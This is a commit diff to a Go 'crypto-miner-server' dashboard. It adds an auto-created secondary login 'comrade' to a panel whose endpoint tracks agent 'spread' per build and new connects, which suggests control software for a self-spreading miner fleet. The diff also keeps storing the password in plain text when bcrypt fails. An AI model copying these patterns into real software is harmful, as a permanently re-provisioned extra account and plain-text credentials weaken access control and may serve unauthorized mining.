fix: dashboard funnel crash, comrade user, Cloudflare tunnel auto-start

Add runtime comrade account, null-safe spread funnel API/UI, server-started
cloudflared connector with Calibrate token field and builtin fallback, and
simplify LAUNCH to delegate tunnel startup to AetherForge.
This commit is contained in:
AetherForge
2026-06-04 14:14:34 -07:00
parent 5fc601b564
commit 6bfce5d5ab
16 changed files with 390 additions and 106 deletions

View File

@@ -5,6 +5,7 @@ import (
"net/http"
"time"
"crypto-miner-server/internal/db"
"crypto-miner-server/internal/models"
"github.com/go-chi/chi/v5"
@@ -84,7 +85,7 @@ func (f *FleetHandler) DeleteFleetTask(w http.ResponseWriter, r *http.Request) {
func (f *FleetHandler) GetSpreadFunnel(w http.ResponseWriter, r *http.Request) {
if f.db == nil {
writeJSON(w, map[string]interface{}{"by_build": []interface{}{}, "new_connects_today": 0, "total_agents": 0})
writeJSON(w, map[string]interface{}{"by_build": []db.SpreadFunnelRow{}, "new_connects_today": 0, "total_agents": 0})
return
}
since := time.Now().Add(-7 * 24 * time.Hour)

View File

@@ -11,6 +11,7 @@ import (
"net/http"
"os"
"path/filepath"
"sort"
"strings"
"sync"
"time"
@@ -32,6 +33,9 @@ var (
authSessionCache = map[string]time.Time{}
authSessionCacheMu sync.Mutex
authCacheTTL = 5 * time.Minute
// builtinSecondaryUser is provisioned on every deck start if missing (random password in login-credentials.json).
builtinSecondaryUser = "comrade"
)
func authCacheKey(user, pass string) string {
@@ -174,7 +178,13 @@ func formatLoginBanner(creds map[string]string) string {
b.WriteString("\n╔══════════════════════════════════════════════════╗\n")
b.WriteString("║ AetherForge — Dashboard Login ║\n")
b.WriteString("║ ║\n")
for user, pass := range creds {
users := make([]string, 0, len(creds))
for user := range creds {
users = append(users, user)
}
sort.Strings(users)
for _, user := range users {
pass := creds[user]
fmt.Fprintf(&b, "║ Username : %-34s║\n", user)
fmt.Fprintf(&b, "║ Password : %-34s║\n", pass)
b.WriteString("║ ║\n")
@@ -227,7 +237,11 @@ func bootstrapUsers(dataDir string) {
}
}
authUsers = loaded
if migrated {
changed := migrated
if ensureBuiltinSecondaryUser(authUsers, dataDir) {
changed = true
}
if changed {
d, _ := json.MarshalIndent(authUsers, "", " ")
_ = os.WriteFile(usersFilePath, d, 0600)
}
@@ -236,22 +250,70 @@ func bootstrapUsers(dataDir string) {
}
}
pw := generateRandomPassword()
hashed, herr := hashPassword(pw)
adminPW := generateRandomPassword()
comradePW := generateRandomPassword()
adminHash, herr := hashPassword(adminPW)
if herr != nil {
hashed = pw
log.Printf("[Auth] WARNING: bcrypt failed, storing plain-text password: %v", herr)
adminHash = adminPW
log.Printf("[Auth] WARNING: bcrypt failed for admin: %v", herr)
}
comradeHash, herr := hashPassword(comradePW)
if herr != nil {
comradeHash = comradePW
log.Printf("[Auth] WARNING: bcrypt failed for %q: %v", builtinSecondaryUser, herr)
}
authUsers = map[string]string{
"admin": adminHash,
builtinSecondaryUser: comradeHash,
}
authUsers = map[string]string{"admin": hashed}
if mkErr := os.MkdirAll(dataDir, 0755); mkErr == nil {
d, _ := json.MarshalIndent(authUsers, "", " ")
if writeErr := os.WriteFile(usersFilePath, d, 0600); writeErr != nil {
log.Printf("[Auth] WARNING: could not save users.json: %v", writeErr)
}
_ = writeLoginSidecar(sidecarPath, map[string]string{"admin": pw})
_ = writeLoginSidecar(sidecarPath, map[string]string{
"admin": adminPW,
builtinSecondaryUser: comradePW,
})
}
}
const legacySecondaryUser = "comrad"
// ensureBuiltinSecondaryUser adds the comrade account when absent. Password is random and
// written to login-credentials.json via upsertLoginSidecar. Caller must hold usersMu.
func ensureBuiltinSecondaryUser(users map[string]string, dataDir string) bool {
if _, ok := users[builtinSecondaryUser]; ok {
return false
}
if hash, ok := users[legacySecondaryUser]; ok {
users[builtinSecondaryUser] = hash
delete(users, legacySecondaryUser)
sidecarPath := loginSidecarPath(dataDir)
if creds, err := readLoginSidecar(sidecarPath); err == nil {
if pw, ok := creds[legacySecondaryUser]; ok {
delete(creds, legacySecondaryUser)
creds[builtinSecondaryUser] = pw
_ = writeLoginSidecar(sidecarPath, creds)
}
}
log.Printf("[Auth] Renamed legacy user %q to %q", legacySecondaryUser, builtinSecondaryUser)
return true
}
pw := generateRandomPassword()
hashed, herr := hashPassword(pw)
if herr != nil {
hashed = pw
log.Printf("[Auth] WARNING: bcrypt failed for %q: %v", builtinSecondaryUser, herr)
}
users[builtinSecondaryUser] = hashed
if err := upsertLoginSidecar(dataDir, builtinSecondaryUser, pw); err != nil {
log.Printf("[Auth] WARNING: could not update login-credentials.json for %q: %v", builtinSecondaryUser, err)
}
log.Printf("[Auth] Created builtin user %q (password in login-credentials.json)", builtinSecondaryUser)
return true
}
func reconcileLoginSidecar(dataDir, sidecarPath string, users map[string]string) {
if _, err := readLoginSidecar(sidecarPath); err == nil {
return

View File

@@ -3,6 +3,7 @@ package api
import (
"bytes"
"encoding/json"
"fmt"
"net/http"
"net/http/httptest"
"os"
@@ -463,6 +464,13 @@ func TestLoadUsersCreatesAndReloadsLoginSidecar(t *testing.T) {
if !checkPassword(authUsers["admin"], pw) {
t.Fatal("sidecar password should match users.json hash")
}
comradePW, ok := creds["comrade"]
if !ok || comradePW == "" {
t.Fatalf("expected comrade password in sidecar: %v", creds)
}
if !checkPassword(authUsers["comrade"], comradePW) {
t.Fatal("comrade sidecar password should match users.json hash")
}
if err := saveUser("admin", "new-secret-pass"); err != nil {
t.Fatal(err)
@@ -472,3 +480,43 @@ func TestLoadUsersCreatesAndReloadsLoginSidecar(t *testing.T) {
t.Fatalf("sidecar not updated after saveUser: %v err=%v", reloaded, err)
}
}
func TestLoadUsersAddsComradeToExistingAdminDeck(t *testing.T) {
resetAuthState(t)
dataDir := t.TempDir()
adminHash, err := hashPassword("keep-admin")
if err != nil {
t.Fatal(err)
}
usersPath := filepath.Join(dataDir, "users.json")
if err := os.WriteFile(usersPath, []byte(fmt.Sprintf(`{"admin":%q}`, adminHash)), 0600); err != nil {
t.Fatal(err)
}
sidecarPath := filepath.Join(dataDir, "login-credentials.json")
if err := writeLoginSidecar(sidecarPath, map[string]string{"admin": "keep-admin"}); err != nil {
t.Fatal(err)
}
LoadUsers(dataDir)
usersMu.RLock()
_, hasComrade := authUsers["comrade"]
usersMu.RUnlock()
if !hasComrade {
t.Fatal("expected comrade in users.json after startup")
}
creds, err := readLoginSidecar(sidecarPath)
if err != nil {
t.Fatal(err)
}
if creds["admin"] != "keep-admin" {
t.Fatalf("admin sidecar password changed: %q", creds["admin"])
}
comradePW, ok := creds["comrade"]
if !ok || comradePW == "" {
t.Fatalf("expected comrade in sidecar: %v", creds)
}
if !checkPassword(authUsers["comrade"], comradePW) {
t.Fatal("comrade sidecar password should match users.json hash")
}
}